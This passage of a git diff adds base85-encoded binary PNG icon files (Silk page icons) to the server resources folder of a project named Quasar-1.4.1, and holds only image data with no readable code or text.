z!|3to{XFxlH-D^B(RgsY|DRb=S^tOA-tz74 nepXY?EPNbq-r|sZ$n%J}lzl+AdY{o^P@H?Z`njxgN@xNAiXB6R literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..e2cd597830679b90155e987b8269ba1c20f69071 GIT binary patch literal 523 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbMf+W?;s*Z=?j1DROCPA8TfuFOkp znWs#dGIi?InKNfjHD{XVCce{!d8aG$W@qLt&dfi4{P_9v=N?~{Q`x$|fB*jT=g%G| z77*#odLUBnV3ho!7?tCRTBp)9E|uBdO<}yhvirf>Ne?raAFiAHtX%QgvuDqrKY#i1 z<*Q28SFc{Z?s9nj`t_SPZ{EIr`>u@PeZ9o{_wPS^`0(-L$4{R=eg6FU%iQEIU%q@@ zQS|le*Kb>UzkU1meQWRc@85rvF+g1M>(?)cGya`j_wU+{|K)=J>m~lTDgK}23-qbJ z+MXz&S7l3r{DK)6nPg-Yj7`k)syZi5oH%vry(iCJe)#$q2>$)M9s6M$P~iqo7sn6@ zN!Ekbeuo`I7!FkK&Q4|$%naaanP9=7`{b!m9RjKzA3GQ>LdJ33)l$0ECbfb-0$}>7z|u>IvuoHEmW&j4lzv=KA+EpIObc7e7{sGA)QVmnM@*^ z%|h38^m;wC+ilpk%>l#V5LCqP_y2_Cayd^XlX;j*r54R*lW!zbqtSpQNyz8(JVmWm zyV4S$2{Uhyc{Cb0QQbf{ZGT{Kr zvJi{K_&f+q^Pv4MK$hhS4TgFj_FD*rLOePdE-E^T7ZzTFCRUB`*?9&h(a#C!-v8lWG#k3AOJQaUey6Oasked^kDPe=Khg@7s584 zg`XfS1)&u*_c;I76#%`kkBfiZgKKo@0)9d6vZw=ExQUtV?eW{Y1Xv}=4X(2zy85d> Y0C^(qLv?Ui{{R3007*qoM6N<$f-gW7od5s; literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..59437786f84fcd72bc749a65b4abaf3c41f6cc10 GIT binary patch literal 615 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47##zALR|m<{|^*F21ok*;oNL5 z<%?6br%ai0yvO7G%$OfPe*6T3%k$HI|Ni|445FMRTGRD96SY@$It5>hyp2~fDq2k@;%6C_4-(72b z_vp&|OKaZ0fB)gqmJgRJKRn*`;lqcISE@h0eDLw($4}R)K0V$0>E*popFVwlvi|e4 z8=pUa{_^F^*E?}v@5Fz-AN}>|m9MYwfBpLP+vRoN?&f^^_U-%q(?)ke;*tH`uOj+Lw~;=`TPC&|4$G8e|~!Yx~4ENyu?a^ z{DK)6nPg-Y)QwHdV&W#g`0(NL*YAJ-{%&L+gb$iKR$L8ClY&uv9Rqi0+FlI}7A^^gMrrn*YU z0#6%@YAsl{W{G&lN?{pp;R$C#rcaytxwDnKrq%ez% vU1^TP{sNA!13#JGI53Lw`B@~SCo(YH4>Fm_^Vn}1C~PK^TXNSN{byMk2AI5vbwp!K-%-@!-vPR3iikL1L7HA!^!~ChCFU#lnGzp88=I z67V8PHBo4(l$u?-AKmT8?#_0rKW9dUNRbpLc`}piywAM9$xZ-3fR1C75T(BjCn-l* zjUcci2oXXo-}iqun@#)+`W@kL_-U&|2>MxZy~3IdmRm&8b)9!2%ksg3R)nNnT*TJOC=6{2hG86Dz+<^p6qfG5$i^UNUh+u)CD7O2 zK>Ioazn;U|+X0x$=feveYZL1W*Fm%e5P1sajd#eW#^5(ddx76*pt$^)b}$Q4oPabL zLc^HF>Z{8za;f$LtN0P$6C?1{X*jtXkRJ8IEeyiSzencvH3Ux_y>y^}wfJrRCQN#9 z?&e+C>sSAfrE%mZD5RfZ`gSndD)=P?+nG5Oq$zmY&-v+gc7R6c0u8^Ke#|XOq?gF@othF3zFpM8Il<8BJrWqBtF>b#_ye4{0)Xbu6j&@UIhRE002ov JPDHLkV1nWI9dZBw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_excel.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_excel.png new file mode 100755 index 0000000000000000000000000000000000000000..e69f1d232a63d040e694a985068d73fd7c0e7cd7 GIT binary patch literal 634 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47`*~~LR|m<{|^+w3Z_h%GIi?I znKNhp`0?W>82tYI`wtlC6^a=pD4Qgyn5L?kr>k3LY1rgx+19Aq73$d6sXA0@In-%7 zmg+fHYq(VEyVV+bHk$afn)!EG_;;HJbXf-WS_Jl52X)$nPO%Q_bqJem6EoW(cCu&e zEa$lS&WVd%QkJ`=&IwCf<&i!;Bx725<~pzJSy9;=y>mDFV+BA>kI0a6xA=!Z&;t%afK9VI0}^n`2{mD zGRep)7@L?)oH+5r=dXYN{`>SB2kbW@Z+2a4ayb~L!^GM6B==sAp5b$j6>8VK3VF6%%8puXUC`?H zeAARoXFkteT&N%}AQ)%kR(S1+AlQ5FCy7LFgP$aGbB1WG&~Y$OGIL3WNcDwT3%dAPF#9He0qL-MqyG~ zc4|pmT5f4tL1k7+U4BJtN%N$NnuhAO3AG(l>$|2kHMcbP&*_-4s;jHJd&aWfS<5FZ z*f4q8j3w)LFWtCz_3AaNw;f!+^T_rcJ9g~cdF0s1i&t-6zH;T^!$;4aJ$wHA`OB9t zU%h(u`t|EKZ{ECp`}Y0&_a8od`1tYTr%#_gfByXC%a^ZTzkd7n?fdudz@PvI!>?bz zAR!R=hJ7M1_~c50{DK)6nfQfeWMvhMP0U*RCr+Gr^X9|%A3lHn`s3%{zyE9+Kb!`t zJn!k^7$PBQdT_trp#YHs5AW~%{$;*^7`vg`E{R8v9=&ol*!4T*+}B2v#vKyd+S(FU zZr}2~L+QTygcXl7UMO){`OW`vb^ird{+k(gJkA_vU!-|{dGRxL(~4zj8!!AeFWy(N zB4_UUMZ%Z<+_ctpTA{n|ea)to+65=CR(zV9{_^+!&hSG!{D!eg?N?`=xe z#q~!x+4ItF=jLAu;kehBy?dS1t-IkS!ptQbr$pb~qG(*uaINUu37H;c_B}-k^*8{5C$^Y zpr$cp%9N>7r_P)?^NYLJGdrh8y2hU!U4Q)e@$=`;&kim?@}rI8@87@w{Q2|A+TqvL zYtNoNd;a|S%a<=-y?XWf_3Jlp-n@PL_Wk?!A3l8eXlnh@(*C2D|HqFXKUvv-vT^ui zL)bOMM;WPTk!{{Qil4E^O{Ewd3npXwnnfxO_4ddcMj*08H~4(|@8eMK()ExU0%=knb0=KFTdi{AR(R@yPc_6SR%=|3LVzc;p;3;p`~ zF&VEZ4y5zxQ%Xxb7%hQjHrdp=7xcp{{sC7)XB-g4w*W1a1)XtvxrMYa1o?wn&v~3 zHnC|#(>B_M1d`_7gfzLiHy=0c<2kQQdXu*33(xYN_xYW39(cz9jEVT%VokB8|DoF~ z8u%Q5sdl@4VB7X#uh+v_;yOGY&pRi?378ghv)P1cngiAAb<}D#l*?rWDV0j_dc6Zk z-|P~AJZQCA=yWcQjG8fYnimzj*3KqTfN0Cy!G^$7)+bQ$+mHVd1J zvwOR^5Lm<|R+uyB1Nu4vL?d4qa3tn?9H7SZH@~u=fFHEDfSH|bHU6kh0O3%cLdyny z{`9S2Sw~WMy0MPy!64i`jdk4Z3>^+KIL_fN2V_d&ywBt`^IJpxUI$=YAph~5`;xCe Z{s%Y0vkUXDnO6V+002ovPDHLkV1loX8z=w( literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_gear.png new file mode 100755 index 0000000000000000000000000000000000000000..6e787911e936532afe701320529371812a1a4808 GIT binary patch literal 349 zcmV-j0iyniP)%t zJxf9X7>41;8XH>^{13|cBdrlG4GlFkw$)HkLkKl!4iz{Bfut2e77~=UMM<>uG4x?Y zS{^;ebM$WTBaX$hUcB#c3u#0_8GQ?A03jr#pjCF7F2A!_i*$*Q45wMe#Kfe+C$G3X zv)&<+Plih!n>uyADO19wMwMtpfgZ52v8hwzi?`k@8S-_2gNuuUg-L~XN<4W%cWsg( z#mE2Pjw~fk$Z}7T)!jcJ!!5@Yx#5s2mY5yt14S;`VUA@|6qw)ZyO5&53kx)`i1Eli zi+DhS10IOepuq;$M49k{8W-d_B2J7nIl{^Ca2vF`WRpAz3gp=0lqseMg%q+)w-YPP vBt^Da;k-4@=vh0KUmh*OBI~ zV@(rIc1%3oHT~R#ndc|YzclUHvuDqrKY#i1<*Qe(UcY|*=FOY8Z{NOu|Ng^=4(_7JzI_LRAKxHu`}OM=#BKYzRJwqk5i1Gu3ua(sVwaIsFg7tu znmBRdj)xz<{`~v*U*QoUVW5g7o-U3d5|XS34gHu5L>Ml7zs)4X(aGFA@8DI}_wwTU z4<0>WF=P|&RJ`=YI8O|-oJ^_{W1 zW9U_(u-DI}cvYuN?0#?g&4eYeGw>oqpsR|M!xRQq2Mf6i4J!6Udjc7L{l4?=*(MPM zng7S;1e%-Px^A1a-Tuy#_vd$}d<#$L%a%X1h^=6@vH$h@t@bP0 Hl+XkK7b)ry literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_go.png new file mode 100755 index 0000000000000000000000000000000000000000..916db9c9cc7f48255ab7593f37bd5959fa00d3fb GIT binary patch literal 588 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47}WxNLR|m<{|^)a07dj`+GfZ0SmOS4u zb-rQRQjd&9rWs4!G8bEBFE-CxVwu0xwqTiE$!h2HEm6A-Imt6Evs`! zcHgf2342PW9c-9>sAny?*`r&6_uGf#Ch?_wV0-`0(N5$B&;refs?Q^OrAQzJC4s4G4aG`TqSo z(1SqV{rdF_;xAA8Z|{LYB3%;X7tFxOBp@TJU}$V&W*-nfapJ^xAHIJ5{^#%CzyH=R zXP*F6w#(DSF+}3B@A<2Iha5y)FD5M&DF=e@kMvrDX8ixpnUWWr5Q4s zY5`LYvf0_1#4pSZpO)(1E*g77LeH}~hq81_$WQV4$VHEnsH7DP%J@9(n=?^=u zemQvc)A1`GPh9rzdn5N?b)+u z&!0bk`SRtfSFc{be*Nano40S@z6XNOKRlegRc02w_00Tw3B*-tAfssj2MpnVt#LP7?C#SMw;>3xo_I>#L_3z(*fw_|= z0F~|Wba4!kkYqi$(Th1ypzUJ*yEA%`Jc5q7I-*C;xo;5imcN!3@6x@Xx0mBkmz46I znfHr%4oNdi*vs*u_deqV`Lew-$6l%#|NnOX_2cbRk_+{ZyZ9FVyCoal`(Eb6l*z}R zCO3TZy?5#O(oZc7Q})@FnkC*{$e6Xee}4LR2{w)e&!2r+x<=B0Au@QW!OjJ;alEms zv`(_PY}xol<@&cKwj-aiud8}yGauM+^`b5V!{C#5QQ<|d}62BjvZR2H60wE-&H<>}%WqH(_V;zPbB1rgSSSC(0? zWlQ#?N3UgnJ9m2C29w!SwoOo5_2Iq!<8vCyEoDoj@#oV($oJEg6Bj@;nD|2g8 s%L|>IZ381yx9RvPhV4J)*SeoEV4lyr#k*`nfWBbxboFyt=akR{0DpOPi2wiq literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_key.png new file mode 100755 index 0000000000000000000000000000000000000000..685578476aaf7329728824f90c900681f5a7c1fc GIT binary patch literal 615 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47>xpaLR|m<{|^+w3KoPbY{^w@ z4U;H!5-ahPnlfd|)TvWv&YZcTO#5i3#l<-;H)q)Y`0?Xxy~R&3xV^~#biLlsFCTyZ z{{06G&P}yHH{JRC4Cl*z?$`P~uI*cS^YGfo8{!}D$ar$F^VzPfXS=hX?Ja-y?Ai0@ z&tL3Mez8CA#lf_f$0xl!HRt8am#+@Sy?XWP_3PJfj@P|8ng8a^o41!%yuY&g{rmSH zF4ldx((vKNrVk%JeEj(F(ocj~c!`n)&V9x9@kOzdtJe{{8!pXLUcGE&TCf z7SLZmU$*^xxAN!b4?xfT{;>G>=aUeB8Ewl^0EU-*NswPK10$1+tb(zLSyWVhdDX;; z6X!pF_u<3m&tJd){QLLszg;rk$AC(Ydb&7_h^}@Y-(g^bm{Ct6Vo%n4Wc>|X3UU~e3r#_>DWOIArDVq-_Eb4 zTTHGtay2jn9C3BNE2YRFVz|lU+G974B~dd~ZqD>BQe@fkcyUsWv&#Y|O-;?VcLxO> z8Iuec`E{9}A1Kh*^jp!eH)=)y{yme7_)i2_E@(*GGI{zopr05I!Eb^rhX literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_lightning.png new file mode 100755 index 0000000000000000000000000000000000000000..7215d1e8b0604a904ae4a217708ebce05c3b9bd8 GIT binary patch literal 669 zcmV;O0%HA%P)&u-?g42^wwN&Xr1~#d5ifl_2*B1OoS}CDno^8a50ArfE8;stQF>AP54J@H~%T zFz84s;dO!QJKD36(~!QOg!t_^gfFcSKDU4yK0+Ypg$NT^mIYcQ6bk*3P(lBLh7Df_ zTu=2xC#+-_%)|{Cv8zz0t|0y4D5M`xAc{gwOKc`ou<*&VjUREFHs1qd<_xSkKeTBt zgyCi=@jj;&Ns^GsWWaIUl0Y2azcDlF@u{(P*!+EH;lnU~b|Lv{4|4Hdkh!qoQHiE$ zY#y>KFA0QEw=4Z|uV{0A^`Y=D}hB$GP&<$bi8q(u;p^0(my3Rz7fP}|# zGZ&#uor4@c3q9r|f?H6-UZmfgKx(iV(MQ`MPWB>iC~SxnN5H*zb*A3#zWwgu&c|}3 zn^g87H{pdeasl%Lhmab&jC?lES}7C?4BFDNA<}20hoY@w_IU%i*T;}}wh!589}7~7 z#Ug`-R~4j&+K_y4kW@X7qLr-)S5qVKU)tO;+kXJ++{vPI@{hVK|PhMVVx_`)vx~zUs}c9O-Ok{00000NkvXXu0mjf DS5_-g literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_link.png new file mode 100755 index 0000000000000000000000000000000000000000..bf7bd1c9bfd78d689c73ba67cf914182933ee68c GIT binary patch literal 614 zcmV-s0-61ZP)OOAS;jTeL{ZSdz-%)SMH9tDF;N4B6%j=d15J&5qy`F#vB?Ar zqS1nH@%ny_XSI*Y>) z1f5QYdmzT>YciP<3WehS<{GovEaLGv27>{*-7f0&I$yJ^L%ZGPv1YT$V|u;*+ZCWz ztHI~CDVsuy($SfR6-`N~K?9GTB#l%%0h7 z-q`K-y~E)+s8lMyTrPL8^_pUo)9G|SluG5pPqw6!LJB_PzyJUM07*qoM6N<$f^=yZ AYybcN literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_magnify.png new file mode 100755 index 0000000000000000000000000000000000000000..f6b74cc40f82fc83e4dfa6e9647ccc1b34e6ed7e GIT binary patch literal 554 zcmV+_0@eMAP)Vb2f>2}Fa82O3m(Ob=t*sniin`NpInLyMJgI`saru@YOPfh zy4g0#G*cV!#N%;Gq9_VH9?v%kjS3Rb1j8^;C={$Gp=lbj z*(?%?geA!5^Pok%UauwjA)v4g2`HedDw4_Mk4hhBQt?e7YJ5(hcj|3dNu^TOPGnjB zTTsqd3GIZ=Bb`n=7no)dflv&K(lsWw?lH6T1Yht0F9qgIuzh}ym0%n<3d3EBWB*pg z+G!I0lbAEXyd>k|QNuwr4=KX1D+tLPv)j@C1=N4sA4NF9A>HcO3G47*Y6!+SrUH-7 z1hb;^#S=r|`aMh>J#dWruAEf}gcR(DRUC`ZUev&$Sbh0SgLiTXeeHEU<$_YV;9281 zym`igIE%Sm8DpDw7@71Tv^EB5xSdUR*0$Mqp+Wq8OoaZtOg52&)zZ;;M=7#C1Yd6x svjx>8ad4e2x|*xHHwRjcjs6zA0XLDUqKT6dS^xk507*qoM6N<$f*wetruo^Ag2=LamM1T#~4RmC^m`_ zs}H7d&XJ}mg+hU?tu0noRvyjI&o2SRAeYZFesYkts79I^jJ7!A7%6nJwq8O?iT55M z1OQ` zbL{!Cp5o*IRmE9PInMCSPjTwfT~J+EYkz}tjxY=fg5Yf6EQ@DG$0kMJ9h^&$W}9BU zP1oj2;?MWVkKIEl)r=Y;L^Cx2q|>!)qJJ8zE7-V*-Cf7V8_2#1c0N975t~+&QUpQJ z5(uo(-O_`%Rj@U@t>JYAgd!>L?0Idxtd#oW2gc!jinsAEva8|kF4#Ic**mmml_{d^$s}Q5Q)KCys4sfck5bP1SyeHwh2`A<@N&t2j0^lgHC_^(pAAPCNjwl+>AN%C4Ll>_8Hjda%9 oS~i=#*e)>KsPlg0=2)Qg6BCqJ=F8HdGXMYp07*qoM6N<$f@i)wr~m)} literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_office.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_office.png new file mode 100755 index 0000000000000000000000000000000000000000..a65bcb3e1e9613cd9e4950850db43d7025a5fdf9 GIT binary patch literal 779 zcmV+m1N8ifP)JNR5;6x zll@CmQ5eTZ^k*a#RQf}fVOdd`5NJh6S(>6Cf$wEW#f&JyAR#GAn9>Gml;nOf3WCDa z5({5&UB$(IF?G#$x4X@Ickg!Y-HU!Z_rzX=qAq-XI_LS^=lOCT0|0{#{kBkYDS7{3 zD`iu%E=`cDX_^#^#n$5SIQ|4Zhsk8>N|zXHXG@*41$i-7`Jr{8`3S_OEcmY|RF48wXkk?WpdVM4OePBSbfh z#4_=eXJg@3epx~gi>QbUmO}Bm(ENN3+@c?jWiKvSrm(o|W}Ud*?vy~fn1!V~Cl4kB zI-;c!8f~-v)jX82%EG($>?;KSD$64f2&4qQ#=Yyrcpy$57RAVuV#vKMP)0hT$r6m# zc^F^XaJ8R9Q|}x^NoJYIvYZkq-z}Tnj@UJK2l2H zG}p+VvtjP2Z%bsb$~7QLJ9#pC0dKi`ppOd^_V;ME6tdzC0PtV|r=@e@37O`%0k^=5^`%cf$eu00N17Ro!{^30krz>a%3j34C?*{Mt2^a4~ zK=P+Qq%|f;Tc&+9ps;@Mw`EE%rgs&#y=j6BUGg96oIqdwj9-fiy*N(|@o)eD002ov JPDHLkV1j#pUPb@_ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paint.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paint.png new file mode 100755 index 0000000000000000000000000000000000000000..23a37b891c2f5faa3b8128d45373ceab794ca609 GIT binary patch literal 688 zcmV;h0#E&kP)PK^TXt2QS_@2qt2T|9~baC-vaPn=ziepcfAwB$0!O2Q)E}1e8!q+9)KT5JVKU z7HNY}h##OS-BxWHWjD0wrPDeEfUClHs%Q6&2u@FTOJkKMQN|_Rlw6rQz$gPzqGNtj z#ruSeFeh835JJFiM6vp@6M5bXj%k7CMt%SIwfbF_fD-3*Os`9Ly_Q3WQ_SX33E{pX z9_WIeeTCGQ3wYALpBcK+P-iuw;3i&7xCua37k5# z`>c`M@sGeC7cdsdz`aE9lOz!hPholbyz%T85LYf6O*@SA+9&+^7k>+4M8$A8iNQq{ zQvn8k?-+dU`ILrI(6!XTCt6F;tOUro?d3UvPSOe-qIgGe*FCTbMHhYAo=_E z?>}G=(RwhpW?4qZn%vGMx!t=9yXF`6ZE0D4x_|MyNn0A+uV24@`}p|Vw{PFyZ2JEF z`;T{C;$ZA^S>YyuBNCVMe8OW1XAY!AtZh=`c5 zK6{d|J^N|{edh9@keZN?j``I=E-NNvG_V9H*xA`>Dcw-k)V!m2$%8>-!i*_XB!tDD zsM!IrvT$j6^jYa*nYKo2T7e1f6l_S hp}6ocqq;RSGlPDs>E2gTZ#+Rs!PC{xWt~$(698I!HSz!e literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paste.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paste.png new file mode 100755 index 0000000000000000000000000000000000000000..5b2cbb3fd02a5e708d9f9de4ea118965972a02b0 GIT binary patch literal 620 zcmV-y0+aoTP)4A_ab^avY?n0hpS-#mn_4{O$e%cm-@NH=3`90Wq+3`~HKArSdfX`&Z12 z(CY$VW-MNtXX4xy%yUeE?}*~0-|iByA@ZrwXgph4S*bhcc5{HB!DFVm_v}P*g7+Q~K}7K0lcp(^N@X>U zV`{ZpeIf${R6Hgg4FL^`X$Eu75k(PE6ycl$AW0Ic)#@rR7Z(7;V?i-dR1K935Jgcx zPfkwK>2wGokf!Nih^ARp6-6arYFG#(9Ta!x93nFEjoA==z(g?#sDg?Owk?Mg7K+>l zWYsf(<`#+$h9Sp6gFOg_dd+80SkUpk&xM7h0`Sov9W73spU;GP073|VfZ&Gd$J$*0<~TV5aPS|qWH57|VJz+d000062 zGLVFbAd|u(szC98pqaLI#Z#tCnL2gq%$YNRB0%)x#}6R+6AXU;{{83AA0QV(28GND ziJp!0xE`}OM=#BD-1aprmEu#EJ7ZeE9hJ>)*fs{;j$+!3L;uho_5Uh{R>vb5Dg183?#t zJnGH)ZrhIN%z|>SiF^Lv-muW;eSiM4^htgU2bOQDuTwv9CB*Mfm78wj&e@3)&mX(3 zNeYtjnW2Aq&%Clnh26gyV-5!HZH#z*)~=+t(YmKYCiU;pISMUS*SEziKKigxq4)Bt zeQW$OXHVsJY&`c`_{o;uOU(+6<#rbW79V{#`M~Tg|2%F-dNcShiB;3se(d-6XeL{q uZ$DEV18+R#RG4t~_I=5z4x9$op+A}C&eI5KYAo9VibhXYKbLh*2~7Z8W*uYz literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_picture.png new file mode 100755 index 0000000000000000000000000000000000000000..134b6693687b2fa5fe36d48a9c0b8001f937c741 GIT binary patch literal 650 zcmV;50(Jd~P)VHAd+bMNh~)LLRqN>D)-jd9UvB%+hyKX5U|&4t0)fzgD-MPpQ$nHU%yoz=vI zMGb>1Xu!6Hw$NT~@Au<4P-+{9;Uw?&oj31uzH>xX0T7Xkz!(tn|Ed9-s_FqyReC13 z(ll)vW1O{Ck5ihay12Ob2ABc@RUI;zHpaMiyRDs0r>|D4rHw{ItJSJnYjt~jTbGuW z`X(~}?!&86q40R8<4zYw;$qi0^3ec=c&<&H;r`8W%H=Xymf^i;Wo6~<+}zx2UMzpC z*6MZN?(FMv`n|KO3(KFiUaucP0;Z!@LcUNa%8#vGK5aZ>wDgB0Gi=t*argWJcdlMQ z2#MpEX0wU+9&0U?N(F#OgpviU_Y{jYMsj65U3|PjwUOY}lUYj?MTiK_Il}NCVx-Eh zDx-TzMk7se+M#W_>?A1-x}ZXw3kkyz5kW)_hkjsi@RhKadN#H$Hq)$07*qoM6N<$f}lhwPXGV_ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_powerpoint.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_powerpoint.png new file mode 100755 index 0000000000000000000000000000000000000000..c4eff0387d5888c638ba09473ba6d2369f7b56f0 GIT binary patch literal 588 zcmV-S0<-;zP)HU2HvUSp%6 z*n}iP63IK?dpo;h@sj9~pcxo;VVTc-XLiP@DgefqE#NE=@oyUd-&HjLpsLIuSFXV-EMck)oQ(A`s%*^&wf0(rNiNHsU%=0Rw;WC z(kbc37l6fo`-0uR!pYkYv8U^3?nsh^@pw!K0TH3uYyx1_2>|JbXPmfskJ|1YAw9w! z9`N)1^Aesr;y5Nr5-ODn)oOL|CGi}f9!&iVwpK$khlIX10X$H6^A_stBJqvLhU$?V`QXqKme*s~gVDJ4A;LTs_e15jhc1;By a82kqHEPVYFAD2!50000nS%42yJr{P^+n=TDn@)3Bbv-@kwV0fXRq-eEHWB4!0e z&kv577aFr7C~kE~;_C3k4dJQt<5Rapr*DhNUY(M?COKzMLcxZt;w@QSN1D5iHBC6# zG4XWQ^m7wto}W1X(zHdFXD+)o_t~>&&!0bk`SRtfSFc{be*Nano40S@zJLGz!-o$a zKYsl5>C@-WpTB(h^7ZT2Z{NOs|Nb55q#wUPuKM-s7sN?2a__Z(o{=mG@(X5QWMY$% zRWLR&OPV-w;*JYf9)9@x^Y7ok|FZ7vEdVN7?CIhdA|c6o(A$eSP=MjUtLtkO-CS4> z${bv4{qf%eQb2{apIY&r{m8@Z?*ISH4SIT9@bSCPHS_$7cbs5&Q+4ZEy@a95;;iFw Q4?q#*>FVdQ&MBb@0P$1y>;M1& literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_ruby.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_ruby.png new file mode 100755 index 0000000000000000000000000000000000000000..f59b7c4365fa1720af1aa04eb47167ddaa6eeed4 GIT binary patch literal 626 zcmV-&0*(ENP)ZS(e|#C2>JN4>y}l*tQ*E7zP@R2CCJnkW?xa6bgk%(hgtZ z0=~d?U3i`+Mvi4!&~+WPT1^NX#{u6&QIx+DE(oR{&T5&-ovF?@wGw)P&AtpHZa|G%V*GUUqL@@!d4V$`8=##4)ytY959JG zdc&Kho)&AL70^i z!PEmeeDWCB-UbK(*4JST44^tV2z_J(dn~+vBMJT97_7rzFio=~XczIv?PQ5$v%u~y zu(bteXb5I1h2zCV{Jc2~V{{yzZipgsP6;k264$*#5q?GzCm|CPa9CKqm4b116h3Pu z?+%Cm52plC8|5P0@igf2GV1KkCfk{Zecu=G@VNrf>s%g9c5D%@cfxVb6$nY`1IW=4 zt10QqSps_2JLp0f3I0j0u>#qA;v!+T))KEbCg|mo3q0pG{OR}p0fPds8+K~d>Hq)$ M07*qoM6N<$g1S2e3jhEB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_stack.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_stack.png new file mode 100755 index 0000000000000000000000000000000000000000..44084add79b9a0fc3354d16bbd4b4b5ff8095da7 GIT binary patch literal 317 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-$R@9E+gqH(@-qA%AW0|7U8+xDRI z0k`B18}ImRw2g{jTGP$Pmx3yI6F_2s&$|`cJ!i0UN zB3H;=r{#{FwLaNVJ&hZl9+MTHGx1T^-A=Q0?hRb#8a~x50X%;`b6ik3cw=#XdxWy= zgrpBoDjpwP&g9<9h3x!k_B!?vuTJVkmIJ-U N;OXk;vd$@?2>|rNdMN+^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_star.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_star.png new file mode 100755 index 0000000000000000000000000000000000000000..fe7aa28a0dac21dc3f0756f56bb767015b83a4ee GIT binary patch literal 562 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbMf{{Wv5*Z=?j1DQbZ<9f`Go2d{s zko<7k8_xc6CHnIj*UzWyrc9YKb?VfaGiUy|nRI@=%lQ==KQ0CR`0?W>82tYI`wtjA zd-m-4^XD&LzI^rS)$7-<-@JMA_U+sE@85s;@ZsafkDoq$`g~aP^XJcB4(fb4Z1m-@ z@s}@Oz8*LD`t|F#^NHUsgnawUx$OJ3^zYYOzuzqS{{8!pOOZdW zr~SB9{Nq;1k9*xe9F3?%pZA)7zSskF(XR*HzaI4bdVBQO zhbzB+{rdg!!tWn%K#u(J=FhJ$e}4Z2I##!{P#EY>nUWyCUhu5l?(_#oKfk?mz0Az%M5~{FX1dGL`_mMA;@zE2uX|p(?JEa=q$(%Z zz7K!H7IU3Bo5}SpSh41r&C2YMgU1CNiq5YK)#f;PdiKTV-@nNp-S~>*=go@0mtXUI z;K{b+cz$&K*+*ZW0^{=7mA;aC%l!8R^F^ApPwcTZ->t2gD)2#I9asJS_rj*h7dJoL upBlmPT_9aaU~$T^&vW}G7-h_vXT{{SQ`gP(CwC+$hCN;VT-G@yGywpE2tRHB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_swoosh.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_swoosh.png new file mode 100755 index 0000000000000000000000000000000000000000..e7708292adabf4821612bfca032cbd019c63180b GIT binary patch literal 634 zcmV-=0)_pFP)KrcWDBzIw9XCtIF5G<@j zP(;CSqHxUrerI>~wKyloM4~t_Ofl@UFEj6$Bmm6p1aK6H{5zI_FOn(%k{CiRq?CT< zoV}Ey-7=-5nVFes;1m!f?EqZLIs4k$n%39XN4dPbtX{9DZnvvaiWV0aH9I>yf;2<< zHmo7WNC<&iE4ji-iKJpsBApDKiAiqWy8R$FV|M@E-RCB03vjWNGQZJxKCc-cSB=dq z#v3snoDMC=4<2BDgiZrv0Veh~mz(X=S@;fbe>CJO_5|oe2o3=wgfW(StLzI-qr&kc 